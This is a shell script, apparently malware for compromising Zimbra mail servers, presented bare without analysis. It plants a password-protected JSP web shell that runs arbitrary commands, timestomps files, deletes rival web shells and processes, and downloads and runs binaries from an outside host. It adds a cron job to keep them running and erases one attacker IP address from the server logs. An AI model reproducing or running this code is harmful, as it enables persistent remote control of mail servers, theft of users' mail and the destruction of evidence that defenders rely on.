#!/bin/sh
echo "whoami"
if [ -f '/opt/zimbra/cbpolicyd/bin/cbpolicyd' ]; then
MON_PROC='/opt/zimbra/cbpolicyd/bin/cbstat'
else
MON_PROC='/opt/zimbra/lib/zmiostat'
fi
BX_FILE='/opt/zimbra/jetty/webapps/zimbra/js/zimbra/csfe/XZimbra.jsp'
touch $BX_FILE -r /opt/zimbra/jetty/webapps/zimbra/js/zimbra/csfe/ZmCsfeResult.js
STATIC_FILE='/opt/zimbra/jetty/webapps/zimbra/public/Ajax.jsp'
if [ ! -f $STATIC_FILE ]; then
chmod 777 /opt/zimbra/jetty/webapps/zimbra/public
echo "<%if(\"LVdpVsmayetL6cvL2YToniYg\".equals(request.getParameter(\"ppwd\"))){java.io.InputStream in = Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", request.getParameter(\"pcom\")}).getInputStream();int a = -1;byte[] b = new byte[2048];out.print(\"<pre>\");while((a=in.read(b))!=-1){out.print(new String(b, 0, a));}out.print(\"</pre>\");}%>" > $STATIC_FILE
chmod 544 /opt/zimbra/jetty/webapps/zimbra/public
ls -l $STATIC_FILE
fi # -f $STATIC_FILE
touch $STATIC_FILE -r /opt/zimbra/jetty/webapps/zimbra/public/Boot.jsp
touch /opt/zimbra/jetty/webapps/zimbra/public/login.jsp -r /opt/zimbra/jetty/webapps/zimbra/public/Boot.jsp
if [ -f $STATIC_FILE ]; then
chmod 777 /opt/zimbra/jetty/webapps/zimbra/downloads
chmod 777 /opt/zimbra/jetty/webapps/zimbra/public/jsp/infoc.jsp > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/public/jsp/infoc.jsp -f > /dev/null 2>&1
chmod 777 /opt/zimbra/jetty/webapps/zimbra/public/jsp/BootCore.jsp > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/public/jsp/BootCore.jsp -f > /dev/null 2>&1
chmod 777 /opt/zimbra/jetty/webapps/zimbra/public/jsp/ShareCore.jsp > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/public/jsp/ShareCore.jsp -f > /dev/null 2>&1
chmod 777 /opt/zimbra/jetty/webapps/zimbra/public/jsp/ZimbraCore.jsp > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/public/jsp/ZimbraCore.jsp -f > /dev/null 2>&1
chmod 777 /opt/zimbra/jetty/webapps/zimbra/public/Online.jsp > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/public/Online.jsp -f > /dev/null 2>&1
chmod -R 777 /opt/zimbra/jetty/webapps/zimbra/public/404.jsp > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/public/404.jsp -f > /dev/null 2>&1
rm  /opt/zimbra/jetty/webapps/zimbra/downloads/*.jsp -rf > /dev/null 2>&1
find /opt/zimbra/jetty/webapps -name "*.jsp"|xargs grep -ri "exec(" -l | grep -v "service/error/attachment_blocked.jsp" | grep -v "zimbraAdmin/public/jsp/Debug.jsp" | grep -v "portals/example/static.jsp" | grep -v "public/jsp/CryptCore" | grep -v "public/Ajax.jsp" | xargs rm -f
find /opt/zimbra/jetty/webapps -name "*.jsp"|xargs grep -ri "ClassLoader" -l | grep -v "zimbra/csfe/XZimbra.jsp" | grep -v "public/jsp/Alert.jsp" | xargs rm -f
else
echo "!ajax"
fi
rm -rf /opt/zimbra/jetty/webapps/service/error/404.jsp > /dev/null 2>&1
chmod -R 455 /opt/zimbra/jetty/webapps/zimbra/downloads
chmod -R -w /opt/zimbra/data/tmp/upload
ps aux | grep /tmp/.cache | grep -v grep| awk '{print "kill -9 "$2}' | sh
ps aux | grep /bin/bash | grep -v grep| awk '{print "kill -9 "$2}' | sh;rm -rf /tmp/.cache/*
ps aux | grep /tmp/.cache/.kthrotlds | grep -v grep| awk '{print "kill -9 "$2}' | sh
(crontab -l|grep -v "zmstorewatch")|crontab -
(crontab -l|grep -v "tmp/.cache/")|crontab -
(crontab -l|grep -v "tor2web.")|crontab -
(crontab -l|grep -v "wget")|crontab -
(crontab -l|grep -v "curl")|crontab -
(crontab -l|grep -v "zmswatch.sh"|grep -v "zmlogswatch")|crontab -
AGENT_FILE='/opt/zimbra/log/zmswatch'
STORE_FILE="/opt/zimbra/lib/zmstorewatch"
WATCH_FILE="/opt/zimbra/lib/zmmailboxdwatch"
if [ -f $STORE_FILE ]; then
file1=$WATCH_FILE
else
file1=$AGENT_FILE
fi
ps aux | grep "/tmp/s.sh" | awk '{print "kill -9 "$2}' | sh
ps aux | grep "/tmp/l.sh" | awk '{print "kill -9 "$2}' | sh
ps auxf | grep -v grep | grep "zmcat" | awk '{print $2}' | xargs kill -9
pkill -9 zmcat
ps auxf | grep -v grep | grep 'zmmailboxdwatch' | awk '{print $2}' | xargs kill -9
pkill -9 zmmailboxdwatch
chmod 777 /opt/zimbra/lib/zmmailboxdwatch
rm -f /opt/zimbra/lib/zmmailboxdwatch > /dev/null 2>&1
ps auxf | grep -v grep | grep 'zmstorewatch' | awk '{print $2}' | xargs kill -9
pkill -9 zmstorewatch
chmod 777 /opt/zimbra/lib/zmstorewatch
rm -f /opt/zimbra/lib/zmstorewatch > /dev/null 2>&1
ps aux | grep -v zmswatch | awk '{if($3>50.0) print "kill -9 "$2}' | sh
rm -f /tmp/.cache/.ntp > /dev/null 2>&1
rm -f /tmp/*.sh > /dev/null 2>&1
rm -f /tmp/zmcat > /dev/null 2>&1
rm -f /opt/zimbra/conf/zmsstorewatch.cnf > /dev/null 2>&1
rm -f /opt/zimbra/conf/zmsstore.cnf > /dev/null 2>&1
U=https://wordpress.ulimit-n.com/wp-updates/gKLjD8qd/wl_41mx.zip
if ps auxf | grep -v grep | grep "$AGENT_FILE" > /dev/null; then # running
echo "zmswatch_running" # running
else # running
if [ -f $AGENT_FILE ]; then
filesize=`ls -l $AGENT_FILE | awk '{ print $5}'`
if  [ $filesize -ne 999112 ];then
rm -rf $AGENT_FILE
fi
fi
if [ ! -f $AGENT_FILE ]; then
if command -v curl > /dev/null 2>&1; then
echo 'curl'
curl -k $U -o $AGENT_FILE
elif command -v wget > /dev/null 2>&1; then
echo 'wget'
wget --no-check-certificate $U -O $AGENT_FILE
else
wget --no-check-certificate $U -O $AGENT_FILE
fi
fi # -f AGENT_FILE
if [ ! -x $AGENT_FILE ]; then
echo 'chmod'
chmod +x $AGENT_FILE
fi
nohup $AGENT_FILE > /dev/null 2>&1 &
if ps auxf | grep -v grep | grep "$AGENT_FILE" > /dev/null; then
echo "zmswatch_nohup"
else
echo "zmswatch_nonstart"
fi
fi # running
U2=https://wordpress.ulimit-n.com/wp-updates/gKLjD8qd/watch.zip
if [ ! -f $MON_PROC ]; then
if command -v curl > /dev/null 2>&1; then
curl -k $U2 -o $MON_PROC
elif command -v wget > /dev/null 2>&1; then
wget --no-check-certificate $U2 -O $MON_PROC
else
wget --no-check-certificate $U2 -O $MON_PROC
fi
fi # -f AGENT_FILE
if [ ! -x $MON_PROC ]; then
chmod +x $MON_PROC
fi
if [ ! -f $MON_PROC ]; then
echo "$MON_PROC not exist!"
else
ls -l $MON_PROC
fi
ps -ef | grep $MON_PROC | grep -v grep
if [ $? -ne 0 ]; then
nohup $MON_PROC > /dev/null 2>&1 &
if ps auxf | grep -v grep | grep -v "$MON_PROC" > /dev/null; then
echo "zmlogswatch_nohup"
else
echo "zmlogswatch_nonstart"
fi
else
echo "zmlogswatch_running"
fi
SH_FILE='/opt/zimbra/log/zmswatcher'
echo "#!/bin/sh" >$SH_FILE
echo "if ps auxf | grep -v grep | grep \"$AGENT_FILE\" > /dev/null; then" >>$SH_FILE #error
echo "  echo \"$AGENT_FILE running\"" >>$SH_FILE
echo "else" >>$SH_FILE
echo "  echo \"$AGENT_FILE nohup\"" >>$SH_FILE
echo "  nohup $AGENT_FILE > /dev/null 2>&1 &" >>$SH_FILE
echo "fi" >>$SH_FILE
if [ -f $SH_FILE ]; then
chmod +x $SH_FILE
(crontab -l | grep -v "$SH_FILE";printf "*/30 * * * * $SH_FILE\n") | crontab -
fi


sed -i '/111\.165\.4\.177/d' /opt/zimbra/log/*_log.2019-06-*
sed -i '/111\.165\.4\.177/d' /opt/zimbra/log/nginx.access.log